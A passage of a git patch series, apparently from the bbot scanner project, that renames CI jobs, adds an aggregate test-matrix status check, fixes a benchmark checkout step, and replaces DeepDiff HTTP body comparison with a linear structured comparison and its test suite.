Date: Thu, 1 Oct 2026 12:47:26 -0700 Subject: [PATCH 118/256] Add a test-matrix status check, name every job (#3356) * ci: add an aggregate status check and name every job Required status checks are matched by literal context string, and the ruleset on dev names four of them directly: test (3.10) through test (3.13). Two consequences. Renaming a job orphans a required check, which then waits forever for a name nothing reports. And the list drifts: 3.14 is in the matrix but not in the ruleset, so it has been non-blocking since it was added. Add a single `all checks passed` job that depends on the matrix. The ruleset can require that one context instead, leaving the matrix and the job names as repo-side concerns. Also name every job after what it does, which is safe to do in the same change now that no required context points at a matrix job: test -> run test suite on python 3.10 publish_code -> publish package and docker images tag_commit -> tag the release commit publish_docs -> publish the docs site test-distros -> install and smoke-test on fedora analyze -> scan python for security issues benchmark -> compare performance against the base branch cla -> check the CLA is signed update_docs -> regenerate the docs and open a PR update-nuclei-version -> open a PR when a new nuclei is released update-trufflehog-version -> open a PR when a new trufflehog is released This must merge before the ruleset is updated: a context is not selectable as a required check until it has reported at least once. Merging this alone changes nothing, the old required checks keep gating dev. The ruleset edit is a separate admin step, described in the PR. * ci: pin the aggregate check action and tolerate a skipped test job alls-green was referenced by the mutable release/v1 branch. A gate whose job is to decide mergeability should not be able to change under us, so pin the commit sha. allowed-skips: test because the docs-only path filter skips the test matrix. Without it the gate reads a skipped dependency as not-success and blocks every docs-only PR. Anything other than success or skipped still fails the gate. * ci: pin alls-green to a commit and name the gate for what it covers The pin was the SHA of the v1.2.2 annotated tag object rather than the commit it points at. Both happen to resolve, but the convention is the commit sha. 'all checks passed' also overpromised: needs: cannot cross workflows, so the gate covers the test matrix only, not CodeQL, distros or the benchmark. Renamed to 'test matrix passed' so the required check says what it actually enforces. * fix(ci): benchmark job checks out PR head ref and can comment The benchmark 'Generate benchmark comparison report' step failed with 'pathspec ci-matrix-split did not match any file(s) known to git'. On pull_request runs, actions/checkout leaves a detached HEAD at the merge ref and creates no local branch named after github.head_ref, so benchmark_report.py's 'git checkout ' could not find it. Fall back to the remote-tracking ref origin/ (available thanks to fetch-depth: 0) and detach onto it. The cascading 'Comment benchmark results on PR' step then 403'd with 'Resource not accessible by integration' because posting to the issues/comments API needs issues: write, which the workflow did not grant. Add issues: write alongside pull-requests: write. --------- Co-authored-by: Paul Mueller --- .github/workflows/benchmark.yml | 1 + .github/workflows/cla.yml | 1 + .github/workflows/codeql.yml | 2 +- .github/workflows/tests.yml | 15 +++++++++++++++ bbot/scripts/benchmark_report.py | 15 ++++++++++++++- 5 files changed, 32 insertions(+), 2 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index b5c0d460eb..fbca6d6be0 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -14,6 +14,7 @@ concurrency: permissions: contents: read pull-requests: write + issues: write jobs: benchmark: diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index bc28e132f0..1a832b39d2 100644 --- a/.github/workflows/cla.yml +++ b/.github/workflows/cla.yml @@ -11,5 +11,6 @@ permissions: jobs: cla: + name: check the CLA is signed uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@main secrets: inherit diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index a2de1b5cee..ec56b77d5a 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -21,7 +21,7 @@ on: jobs: analyze: - name: Analyze (${{ matrix.language }}) + name: scan ${{ matrix.language }} for security issues # Runner size impacts CodeQL analysis time. To learn more, please see: # - https://gh.io/recommended-hardware-resources-for-running-codeql # - https://gh.io/supported-runners-and-hardware-resources diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 86380a9984..c8f37f2cc3 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -51,7 +51,21 @@ jobs: token: ${{ secrets.CODECOV_TOKEN }} files: ./cov.xml verbose: true + + test_matrix: + name: test matrix passed + if: always() + needs: [test] + runs-on: ubuntu-latest + steps: + - name: Fail unless every dependency succeeded + uses: re-actors/alls-green@05ac9388f0aebcb5727afa17fcccfecd6f8ec5fe # v1.2.2 + with: + allowed-skips: test + jobs: ${{ toJSON(needs) }} + publish_code: + name: publish package and docker images needs: test runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/dev' || github.ref == 'refs/heads/stable') @@ -200,6 +214,7 @@ jobs: outputs: BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }} tag_commit: + name: tag the release commit needs: publish_code runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index a5b06aec92..2225f5b4c0 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -43,7 +43,20 @@ def checkout_branch(branch: str, repo_path: Path = None): print("Cleaning untracked files before checkout") run_command(["git", "clean", "-fd"], cwd=repo_path) print(f"Checking out branch: {branch}") - run_command(["git", "checkout", branch], cwd=repo_path) + # In pull_request CI, actions/checkout leaves a detached HEAD at the merge + # ref and never creates a local branch named after github.head_ref, so a + # bare `git checkout ` fails with "pathspec did not match". Fall + # back to the remote-tracking ref (origin/), which fetch-depth: 0 + # makes available, and detach onto it so the comparison still works. + result = subprocess.run( + ["git", "checkout", branch], + cwd=repo_path, + capture_output=True, + text=True, + ) + if result.returncode != 0: + print(f"Local branch '{branch}' not found, trying origin/{branch}") + run_command(["git", "checkout", "--detach", f"origin/{branch}"], cwd=repo_path) def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: From 58fe07e43b45d60fc124d30073ea7b2d40bcc403 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Thu, 1 Oct 2026 15:49:26 -0400 Subject: [PATCH 119/256] Selectively Replace DeepDiff Due to Performance Issues (#3340) * Compare HTTP bodies in linear time, structurally Body comparison ran through DeepDiff with ignore_order=True, whose similarity pairing is quadratic in the number of differing lines. On an ordinary large page it stalled the whole scan: 8,007 lines took 72s and 32,007 lines took minutes, all while holding the GIL. Reached from is_http_wildcard_host, so any scan that probes a large catch-all host could hit it regardless of enabled modules. DeepDiff's own budgets don't help: max_passes and the cutoff_* knobs give no speedup, and max_diffs silently returns an empty diff for bodies that clearly differ, inverting the answer. Compare bodies directly instead. Lines are matched by content, ignoring positions that varied between the two baseline samples. This agrees with DeepDiff on 599/600 randomized realistic bodies and is ~400x faster. Baseline parsing also moves off the event loop, where it ran inline. Parse JSON alongside XML and compare both leaf-by-leaf, keyed by path. A JSON API answers on one line, so a body with any volatile field produced a single differing line covering the whole body; that filter then suppressed everything and compare_body returned "match" for every subsequent response, including unrelated documents. The comparison was not degraded but vacuous, silently disabling the core signal of every module built on HttpCompare against JSON endpoints, and making is_http_wildcard_host report real sites as catch-all responders. compare_body still takes raw response text verbatim, which lightfuzz's crypto submodule relies on after stripping its own reflected values. * Bound structured body comparison by line and leaf count * Filter one position per repeated volatile line --- bbot/core/helpers/diff.py | 213 ++++++++-- bbot/test/test_step_1/test_http_compare.py | 460 +++++++++++++++++++++ 2 files changed, 635 insertions(+), 38 deletions(-) create mode 100644 bbot/test/test_step_1/test_http_compare.py diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 7017cc9148..24686d5808 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -1,5 +1,8 @@ +import json import logging import xmltodict +from time import monotonic +from itertools import islice from deepdiff import DeepDiff from contextlib import suppress from xml.parsers.expat import ExpatError @@ -7,6 +10,138 @@ log = logging.getLogger("bbot.core.helpers.diff") +# Body comparisons are linear, so they should take milliseconds. Log anything +# wildly slower than that -- it means a body shape we didn't anticipate. +SLOW_COMPARE_THRESHOLD = 2.0 + +# Flattening a structured body costs memory proportional to its leaf count, and a +# baseline is held for the lifetime of the HttpCompare. Past these limits, compare as +# lines instead -- a body this big doesn't need leaf-level precision. +MAX_STRUCTURED_BODY_SIZE = 2_000_000 +MAX_STRUCTURED_LEAVES = 10_000 + +# Bodies with at least this many lines compare fine as lines; structure is only +# needed for the few-line shape (a minified JSON or XML API response). +MAX_STRUCTURED_LINES = 20 + +_MISSING = object() + + +def _tree_leaves(node, path=()): + """Flatten a parsed JSON/XML tree into (path, leaf_value) pairs.""" + if isinstance(node, dict) and node: + for key, value in node.items(): + yield from _tree_leaves(value, (*path, key)) + elif isinstance(node, list) and node: + for i, value in enumerate(node): + yield from _tree_leaves(value, (*path, i)) + else: + # scalars, and empty containers -- which compare unequal to each other + yield path, node + + +class _LineBody: + """A response body compared as a list of lines. + + Lines are matched by content rather than position, so a line that merely + moves is not a difference. Positions that varied between the two baseline + samples are filtered out, which is how volatile content (CSRF tokens, + timestamps, the echoed request path) is ignored. + + Only the first occurrence of each differing line counts, so a volatile line + repeated down the page filters one position rather than every copy of it. + """ + + __slots__ = ("lines", "line_set") + + def __init__(self, lines): + self.lines = lines + self.line_set = set(lines) + + def _novel_lines(self, other_set): + """(position, line) for the first occurrence of each line absent from `other_set`.""" + seen = set() + for i, line in enumerate(self.lines): + if line not in other_set and line not in seen: + seen.add(line) + yield i, line + + def volatile_paths(self, other): + """Positions of the first occurrence of each line not present anywhere in `other`.""" + return {i for i, _ in self._novel_lines(other.line_set)} + + def matches(self, other, filtered): + for body, other_set in ((self, other.line_set), (other, self.line_set)): + for i, _ in body._novel_lines(other_set): + if i not in filtered: + return False + return True + + +class _StructuredBody: + """A JSON or XML response body, compared leaf-by-leaf and keyed by path. + + Paths are stable across requests, so volatile leaves are filtered by path. + That works even for a body served on a single line -- the usual shape for a + JSON API -- where a line-oriented comparison sees one volatile line and then + considers every subsequent body a match. + """ + + __slots__ = ("leaves",) + + def __init__(self, leaves): + self.leaves = leaves + + def volatile_paths(self, other): + """Element paths whose leaf value differs from `other`, or is missing on either side.""" + volatile = {path for path, value in self.leaves.items() if other.leaves.get(path, _MISSING) != value} + volatile.update(path for path in other.leaves if path not in self.leaves) + return volatile + + def matches(self, other, filtered): + for path in self.leaves.keys() | other.leaves.keys(): + if path in filtered: + continue + if self.leaves.get(path, _MISSING) != other.leaves.get(path, _MISSING): + return False + return True + + +def _structured(tree): + """A `_StructuredBody` for `tree`, or None if it has too many leaves to hold.""" + leaves = dict(islice(_tree_leaves(tree), MAX_STRUCTURED_LEAVES + 1)) + if len(leaves) > MAX_STRUCTURED_LEAVES: + return None + return _StructuredBody(leaves) + + +def parse_body(text): + """Parse a response body into its comparable form. + + Few-line JSON and XML are compared leaf-by-leaf; everything else as a list of lines. + Malformed, oversized, or pathologically nested input falls back to lines. + """ + lines = text.split("\n") + if len(lines) < MAX_STRUCTURED_LINES and len(text) <= MAX_STRUCTURED_BODY_SIZE: + with suppress(ExpatError, RecursionError): + if (body := _structured(xmltodict.parse(text))) is not None: + return body + with suppress(ValueError, RecursionError): + tree = json.loads(text) + # a bare scalar gives one leaf, which is no better than one line + if isinstance(tree, (dict, list)) and (body := _structured(tree)) is not None: + return body + return _LineBody(lines) + + +def _as_body(content): + """Coerce an already-parsed body (or a raw dict / line list) into a comparable body.""" + if isinstance(content, (_LineBody, _StructuredBody)): + return content + if isinstance(content, dict): + return _StructuredBody(dict(_tree_leaves(content))) + return _LineBody(list(content)) + class _BaselineSnapshot: """Lightweight stand-in for a blasthttp Response held by HttpCompare. @@ -96,6 +231,8 @@ def __init__( self.json = json self.allow_redirects = allow_redirects self._baselined = False + # Positions/paths in the baseline body that varied between the two samples. + self.body_filters = set() self.headers = headers self.cookies = cookies self.timeout = 10 @@ -164,23 +301,10 @@ async def _baseline(self): log.debug("Status code not stable during baseline, aborting") raise HttpCompareError("Can't get baseline from source URL") - try: - baseline_1_json = xmltodict.parse(baseline_1.text) - baseline_2_json = xmltodict.parse(baseline_2.text) - except ExpatError: - baseline_1_json = baseline_1.text.split("\n") - baseline_2_json = baseline_2.text.split("\n") - - ddiff = DeepDiff( - baseline_1_json, baseline_2_json, ignore_order=True, view="tree", threshold_to_diff_deeper=0 + # Parsing and diffing two full response bodies is CPU-bound; keep it off the event loop. + self.baseline_body, self.body_filters = await self.parent_helper.run_in_executor_cpu( + self._baseline_bodies, baseline_1.text, baseline_2.text ) - self.ddiff_filters = [] - - for k in ddiff.keys(): - for x in list(ddiff[k]): - self.ddiff_filters.append(x.path()) - - self.baseline_json = baseline_1_json self.baseline_ignore_headers = [ h.lower() for h in [ @@ -212,6 +336,16 @@ async def _baseline(self): store = getattr(scan, "body_spill_store", None) self.baseline = _BaselineSnapshot(baseline_1, spill_store=store) + @staticmethod + def _baseline_bodies(text_1, text_2): + """Parse both baseline samples and work out which parts of the response are volatile.""" + body_1, body_2 = parse_body(text_1), parse_body(text_2) + if type(body_1) is not type(body_2): + # the samples disagree on a representation (one was truncated, say), + # so compare them as lines -- that always works + body_1, body_2 = _LineBody(text_1.split("\n")), _LineBody(text_2.split("\n")) + return body_1, body_1.volatile_paths(body_2) + def gen_cache_buster(self): return {self.parent_helper.rand_string(6): "1"} @@ -235,23 +369,30 @@ def compare_headers(self, headers_1, headers_2): differing_headers.append(header_value) return differing_headers + @staticmethod + def parse_body(text): + """Parse a response body into the form compare_body() expects.""" + return parse_body(text) + def compare_body(self, content_1, content_2): + """Whether two bodies match, ignoring the parts observed to be volatile. + + Takes bodies parsed by `parse_body`. Callers that normalize response text + themselves (stripping their own reflected probe values, say) may pass raw + strings instead, which are compared verbatim. + """ if content_1 == content_2: return True - ddiff = DeepDiff( - content_1, - content_2, - ignore_order=True, - view="tree", - exclude_paths=self.ddiff_filters, - threshold_to_diff_deeper=0, - ) + if isinstance(content_1, str) or isinstance(content_2, str): + # raw text, already normalized by the caller -- no volatile parts to filter + return False - if len(ddiff.keys()) == 0: - return True - else: + body_1, body_2 = _as_body(content_1), _as_body(content_2) + if type(body_1) is not type(body_2): + # one body is structured and the other isn't -- that alone is a difference return False + return body_1.matches(body_2, self.body_filters) async def compare( self, @@ -331,18 +472,10 @@ async def compare( else: return (False, diff_reasons, reflection, subject_response) - @staticmethod - def parse_body(text): - """Parse a response body into the structure compare_body() expects. Passing raw text works - but bypasses the ddiff_filters that mask dynamic content.""" - try: - return xmltodict.parse(text) - except ExpatError: - return text.split("\n") - def _compare_sync(self, subject_response, subject): """CPU-bound comparison work offloaded from the event loop.""" - subject_json = self.parse_body(subject_response.text) + started = monotonic() + subject_body = parse_body(subject_response.text) diff_reasons = [] @@ -353,9 +486,13 @@ def _compare_sync(self, subject_response, subject): if different_headers: diff_reasons.append("header") - if self.compare_body(self.baseline_json, subject_json) is False: + if self.compare_body(self.baseline_body, subject_body) is False: diff_reasons.append("body") + elapsed = monotonic() - started + if elapsed > SLOW_COMPARE_THRESHOLD: + log.debug(f"Slow body comparison ({elapsed:.1f}s, {len(subject_response.text):,} bytes) for {subject}") + return diff_reasons async def canary_check(self, url, mode, rounds=3): diff --git a/bbot/test/test_step_1/test_http_compare.py b/bbot/test/test_step_1/test_http_compare.py new file mode 100644 index 0000000000..dd38985836 --- /dev/null +++ b/bbot/test/test_step_1/test_http_compare.py @@ -0,0 +1,460 @@ +""" +Tests for HTTP body comparison (``bbot.core.helpers.diff``). + +``HttpCompare`` answers one question: is this response body the same as the +baseline, ignoring the parts observed to be volatile? These tests pin down that +contract and the cost of answering it. + + - ``TestLineBodyComparison``: HTML/text bodies, compared as lines. + - ``TestXmlBodyComparison``: XML bodies, compared leaf-by-leaf by element path. + - ``TestComparisonCost``: the comparison stays linear, and body parsing stays + off the event loop. A body comparison holds the GIL for its whole duration, + so a superlinear one stalls every module in the scan, not just its caller. +""" + +import itertools +import json +import re +import time +from urllib.parse import urlparse + +import pytest + +from bbot.core.helpers.diff import ( + MAX_STRUCTURED_BODY_SIZE, + MAX_STRUCTURED_LEAVES, + MAX_STRUCTURED_LINES, + HttpCompare, + _LineBody, + _StructuredBody, + parse_body, +) +from bbot.test.mock_blasthttp import MockResponse + +from ..bbot_fixtures import * # noqa: F401, F403 + +NAV = [f' ' for i in range(60)] + + +def render(*, path="/x", token="tok", ts="1000", rows=20, echo_rows=10, promos=0, injected=None, rowsalt="a"): + """A page whose volatile parts are a CSRF token, a timestamp, and the echoed request path.""" + lines = ["", "", "", f' '] + lines += [" Acme", "", "", f" "] + lines.append(f"

No such page: {path}

") + if injected: + lines.append(injected) + lines += [f'
Promo {j}
' for j in range(promos)] + lines += NAV + lines += [f'
  • {rowsalt} row {i}
  • ' for i in range(rows)] + lines += [f' related {i}' for i in range(echo_rows)] + return "\n".join(lines + ["
    © Acme
    ", "", ""]) + + +def compare_bodies(baseline_1, baseline_2, subject): + """Derive the volatile-content filter from two baseline samples, then compare a subject against it.""" + baseline_body, filters = HttpCompare._baseline_bodies(baseline_1, baseline_2) + comparer = HttpCompare.__new__(HttpCompare) + comparer.body_filters = filters + return comparer.compare_body(baseline_body, parse_body(subject)) + + +class TestLineBodyComparison: + def test_html_parses_as_lines(self): + # real-world HTML is not well-formed XML, so it lands on the line path + assert isinstance(parse_body(render()), _LineBody) + + def test_volatile_content_is_ignored(self): + """A catch-all host serving the same page with a new token/timestamp/path still matches.""" + baseline_1 = render(path="/aaaaaa/bbbb", token="t1", ts="100") + baseline_2 = render(path="/cccccc/dddd", token="t2", ts="200") + assert compare_bodies(baseline_1, baseline_2, render(path="/", token="t3", ts="300")) is True + + def test_identical_body_matches(self): + body = render(path="/aaaaaa", token="t1", ts="100") + assert compare_bodies(body, render(path="/cccccc", token="t2", ts="200"), body) is True + + @pytest.mark.parametrize( + "subject_kwargs,description", + [ + ({"injected": "
    SQL syntax error near unexpected token
    "}, "injected error line"), + ({"injected": "
    at com.acme.Handler(Handler.java:44)
    "}, "injected stack trace"), + ({"rowsalt": "z"}, "different row content"), + ({"rows": 40}, "extra rows"), + ({"rows": 5}, "missing rows"), + ({"promos": 4}, "extra block"), + ], + ) + def test_real_change_is_detected(self, subject_kwargs, description): + """Volatile-content filtering must not swallow an actual change to the page.""" + baseline_1 = render(path="/aaaaaa/bbbb", token="t1", ts="100") + baseline_2 = render(path="/cccccc/dddd", token="t2", ts="200") + subject = render(path="/", token="t3", ts="300", **subject_kwargs) + assert compare_bodies(baseline_1, baseline_2, subject) is False, f"failed to detect {description}" + + def test_stable_baseline_requires_exact_match(self): + """With no volatile content, nothing is filtered, so a single added line is a difference.""" + baseline = render(path="/same", token="tok", ts="1") + assert compare_bodies(baseline, baseline, baseline) is True + subject = render(path="/same", token="tok", ts="1", injected="
    hello
    ") + assert compare_bodies(baseline, baseline, subject) is False + + def test_comparison_is_order_insensitive(self): + """Lines are matched by content, not position, so a reordered body still matches.""" + baseline = "\n".join(["", "", "", "", ""]) + reordered = "\n".join(["", "", "", "", ""]) + assert compare_bodies(baseline, baseline, reordered) is True + + def test_empty_bodies(self): + assert compare_bodies("", "", "") is True + assert compare_bodies("", "", "something") is False + + @staticmethod + def repeated(nonce, changed=None): + """A page repeating one identical volatile line, optionally with one copy replaced.""" + rows = [f'' for _ in range(20)] + if changed is not None: + rows[changed] = "
    admin panel
    " + return "\n".join(["", *(f"

    static {i}

    " for i in range(10)), *rows, ""]) + + def test_repeated_volatile_line_filters_one_position(self): + """A volatile line repeated down the page must not hide a real change to one of its copies.""" + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c")) is True + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c", changed=7)) is False + + def test_change_to_first_copy_of_repeated_line_is_detected(self): + """Replacing the first copy moves the volatile line's first occurrence off the filtered position.""" + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c", changed=0)) is False + + +class TestRawTextComparison: + """``compare_body`` also takes raw response text, which is compared verbatim. + + lightfuzz's crypto submodule strips its own reflected probe values out of two + responses and then compares what's left, so it needs an exact comparison and + no volatile-content filtering. Raw text must not be treated as a sequence of + characters, which would make anagrams compare equal. + """ + + @staticmethod + def comparer(filters=None): + comparer = HttpCompare.__new__(HttpCompare) + comparer.body_filters = filters if filters is not None else set() + return comparer + + def test_identical_text_matches(self): + assert self.comparer().compare_body("invalid padding", "invalid padding") is True + + def test_differing_text_does_not_match(self): + assert self.comparer().compare_body("invalid padding", "decryption failed") is False + + def test_anagrams_do_not_match(self): + assert self.comparer().compare_body("abc", "cba") is False + + def test_single_character_difference_is_detected(self): + """Padding-oracle detection turns on differences this small.""" + assert self.comparer().compare_body("result: 0x41", "result: 0x42") is False + + def test_filters_do_not_apply_to_raw_text(self): + """A filter derived from a line-based baseline must not suppress a raw-text difference.""" + assert self.comparer(filters={0, 1, 2}).compare_body("invalid padding", "valid padding") is False + + +class TestXmlBodyComparison: + @staticmethod + def xml(*, token="tok", rows=20, changed=False): + rows_xml = "".join( + f"{'CHANGED' if changed and i == 5 else f'item {i}'}static-{i}" + for i in range(rows) + ) + return f"{token}{rows_xml}" + + def test_xml_parses_structurally(self): + assert isinstance(parse_body(self.xml()), _StructuredBody) + + def test_volatile_leaf_is_ignored(self): + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c")) is True + + def test_real_element_change_is_detected(self): + subject = self.xml(token="c", changed=True) + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), subject) is False + + def test_single_line_xml(self): + """XML is keyed by element path, so it compares correctly with no line breaks to split on. + + A line-oriented comparison would see the whole document as one volatile + line and consider every subsequent body a match. + """ + assert "\n" not in self.xml() + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c")) is True + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c", changed=True)) is False + + def test_xml_versus_non_xml_is_a_difference(self): + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), render()) is False + + def test_multiline_xhtml_is_compared_as_lines(self): + """Well-formed XHTML parses as XML, but a many-line page compares fine as lines and costs far less to hold.""" + xhtml = "\n".join( + ["", *(f"

    row {i}

    " for i in range(MAX_STRUCTURED_LINES)), ""] + ) + assert isinstance(parse_body(xhtml), _LineBody) + + def test_samples_disagreeing_on_representation_fall_back_to_lines(self): + """If only one sample parses as XML, both are compared as lines rather than by structure.""" + baseline_body, _ = HttpCompare._baseline_bodies(self.xml(), render()) + assert isinstance(baseline_body, _LineBody) + + +class TestJsonBodyComparison: + """JSON APIs answer on a single line, so they need leaf-level comparison. + + Compared as lines, such a body is one line -- and if anything in it is + volatile, that single line is filtered and every subsequent body matches, + making the comparison useless for the modules that depend on it. + """ + + @staticmethod + def api(*, token="tok", rows=6, changed=False, extra=None): + body = { + "meta": {"csrf": token, "page": 1}, + "results": [ + {"id": i, "name": "CHANGED" if changed and i == 3 else f"item {i}", "tags": ["a", "b"]} + for i in range(rows) + ], + } + if extra is not None: + body["error"] = extra + return json.dumps(body) + + def test_json_parses_structurally(self): + assert isinstance(parse_body(self.api()), _StructuredBody) + + def test_json_is_served_on_one_line(self): + assert "\n" not in self.api() + + def test_volatile_field_is_ignored(self): + assert compare_bodies(self.api(token="a"), self.api(token="b"), self.api(token="c")) is True + + @pytest.mark.parametrize( + "subject_kwargs,description", + [ + ({"changed": True}, "changed value in a nested array"), + ({"extra": "stack trace"}, "added top-level key"), + ({"rows": 8}, "extra array elements"), + ({"rows": 2}, "missing array elements"), + ], + ) + def test_real_change_is_detected(self, subject_kwargs, description): + """The regression this guards: with a volatile field present, every one of + these previously compared as a match, so nothing was ever detected.""" + subject = self.api(token="c", **subject_kwargs) + assert compare_bodies(self.api(token="a"), self.api(token="b"), subject) is False, ( + f"failed to detect {description}" + ) + + def test_array_reordering_is_detected(self): + """Leaves are keyed by path, so JSON array order is significant.""" + forward = json.dumps({"items": [1, 2, 3]}) + reversed_ = json.dumps({"items": [3, 2, 1]}) + assert compare_bodies(forward, forward, reversed_) is False + + def test_bare_scalar_is_compared_as_lines(self): + """A scalar body flattens to a single leaf, which is no better than one line.""" + assert isinstance(parse_body("42"), _LineBody) + assert isinstance(parse_body('"just a string"'), _LineBody) + assert isinstance(parse_body("null"), _LineBody) + + def test_empty_containers_are_distinguished(self): + assert compare_bodies('{"a": {}}', '{"a": {}}', '{"a": []}') is False + assert compare_bodies('{"a": {}}', '{"a": {}}', '{"a": {"b": 1}}') is False + + def test_oversized_body_is_compared_as_lines(self): + """Flattening is bounded so a huge body can't pin a big leaf map to the baseline.""" + oversized = json.dumps({"padding": "x" * MAX_STRUCTURED_BODY_SIZE}) + assert len(oversized) > MAX_STRUCTURED_BODY_SIZE + assert isinstance(parse_body(oversized), _LineBody) + + def test_body_with_too_many_leaves_is_compared_as_lines(self): + """The leaf map is bounded by leaf count, not just text size, since dense JSON packs many leaves per byte.""" + dense = json.dumps(list(range(MAX_STRUCTURED_LEAVES + 1))) + assert len(dense) <= MAX_STRUCTURED_BODY_SIZE + assert isinstance(parse_body(dense), _LineBody) + assert isinstance(parse_body(json.dumps(list(range(MAX_STRUCTURED_LEAVES)))), _StructuredBody) + + def test_pretty_printed_json_is_compared_as_lines(self): + """One leaf per line already gives line comparison the granularity it needs.""" + pretty = json.loads(self.api()) + assert isinstance(parse_body(json.dumps(pretty, indent=2)), _LineBody) + baseline_1, baseline_2 = (json.dumps(json.loads(self.api(token=t)), indent=2) for t in "ab") + assert compare_bodies(baseline_1, baseline_2, json.dumps(json.loads(self.api(token="c")), indent=2)) is True + changed = json.dumps(json.loads(self.api(token="c", changed=True)), indent=2) + assert compare_bodies(baseline_1, baseline_2, changed) is False + + def test_malformed_json_is_compared_as_lines(self): + assert isinstance(parse_body('{"a": 1,,}'), _LineBody) + assert isinstance(parse_body("{unterminated"), _LineBody) + + def test_deeply_nested_json_does_not_raise(self): + """Untrusted bodies can be nested past the recursion limit; that must degrade, not crash.""" + nested = "[" * 5000 + "]" * 5000 + assert isinstance(parse_body(nested), _LineBody) + + +class TestBaselineIntegration: + """End-to-end coverage of the real baseline-then-compare flow over HTTP. + + The comparisons above are driven directly. These go through ``_baseline()`` + and ``compare()``, so response parsing, the executor hop, header comparison + and the diff-reason plumbing are all exercised together against a JSON API -- + the single-line body shape those modules see most often in practice. + """ + + @staticmethod + def json_api(escalated_paths=()): + """A JSON API with a volatile request id, served on a single line.""" + counter = itertools.count() + + def callback(request): + path = urlparse(str(request.url)).path + payload = { + "request_id": f"req-{next(counter)}", + "user": {"name": "alice", "role": "admin"}, + "items": [{"id": 1, "label": "one"}, {"id": 2, "label": "two"}], + } + if any(path.endswith(p) for p in escalated_paths): + payload["user"]["role"] = "superuser" + return MockResponse(status_code=200, text=json.dumps(payload)) + + return callback + + @pytest.mark.asyncio + async def test_json_api_filters_only_the_volatile_field(self, bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api(escalated_paths=("/escalated",))) + + comparer = scan.helpers.http_compare("http://jsonapi.example.com/api") + await comparer._baseline() + + assert isinstance(comparer.baseline_body, _StructuredBody) + # exactly one leaf is volatile -- not the whole body + assert comparer.body_filters == {("request_id",)} + + match, reasons, _, _ = await comparer.compare("http://jsonapi.example.com/api") + assert match is True, f"volatile request_id should have been filtered, got {reasons}" + + match, reasons, _, _ = await comparer.compare("http://jsonapi.example.com/api/escalated") + assert match is False, "a changed nested field was not detected" + assert "body" in reasons, f"expected a body difference, got {reasons}" + + await scan._cleanup() + + @pytest.mark.asyncio + async def test_json_catchall_host_is_detected_as_wildcard(self, bbot_scanner, blasthttp_mock): + """Wildcard detection reaches the comparison from the web helper, on any scan.""" + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api()) + + result = await scan.helpers.web.is_http_wildcard_host("http", "catchall.example.com", 80) + + assert result not in (False, None), "JSON catch-all host was not detected as a wildcard responder" + assert isinstance(result.baseline_body, _StructuredBody) + + await scan._cleanup() + + @pytest.mark.asyncio + async def test_json_host_distinguishing_paths_is_not_a_wildcard(self, bbot_scanner, blasthttp_mock): + """The root serves a different payload than the random probe paths, so this host is real.""" + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api(escalated_paths=("/",))) + + result = await scan.helpers.web.is_http_wildcard_host("http", "realsite.example.com", 80) + + assert result is False, f"host distinguishes responses by path but was reported as {result!r}" + + await scan._cleanup() + + +class TestComparisonCost: + @staticmethod + def echo_page(boilerplate_lines, echoed_lines, path): + """A large catch-all page that echoes the request path into many otherwise-identical lines. + + This is the shape that stalls: the differing lines are numerous but each + is nearly identical to its counterpart, which is the worst case for + similarity-based diff pairing. + """ + lines = ["", "", "", "", ""] + lines += [ + f'
    ' for i in range(boilerplate_lines) + ] + lines += [ + f'
  • related item {i}
  • ' + for i in range(echoed_lines) + ] + return "\n".join(lines + ["", ""]) + + def test_large_similar_bodies_compare_quickly(self): + """An 8000-line catch-all page must not take minutes to compare. + + Similarity-based diff pairing is quadratic in the number of differing + lines: this shape measured ~64s, and doubling it reached ~260s. The bound + below is deliberately loose -- it is here to catch a return to + superlinear cost, not to police small regressions. + """ + baseline_1 = self.echo_page(6400, 1600, "/aaaaaaaaaaaa/bbbbbbbb") + baseline_2 = self.echo_page(6400, 1600, "/cccccccccccc/dddddddd") + subject = self.echo_page(6400, 1600, "/") + + started = time.monotonic() + result = compare_bodies(baseline_1, baseline_2, subject) + elapsed = time.monotonic() - started + + # same page, only the echoed path differs -- this host answers everything alike + assert result is True + assert elapsed < 10, f"comparison of an 8000-line body took {elapsed:.1f}s" + + def test_cost_scales_linearly(self): + """Doubling the body must not quadruple the work.""" + + def timed(boilerplate, echoed): + pages = [self.echo_page(boilerplate, echoed, p) for p in ("/aaaaaaaa/bbbb", "/cccccccc/dddd", "/")] + started = time.monotonic() + compare_bodies(*pages) + return time.monotonic() - started + + timed(400, 100) # warm up, so import/allocation costs don't skew the ratio + small = min(timed(1600, 400) for _ in range(3)) + large = 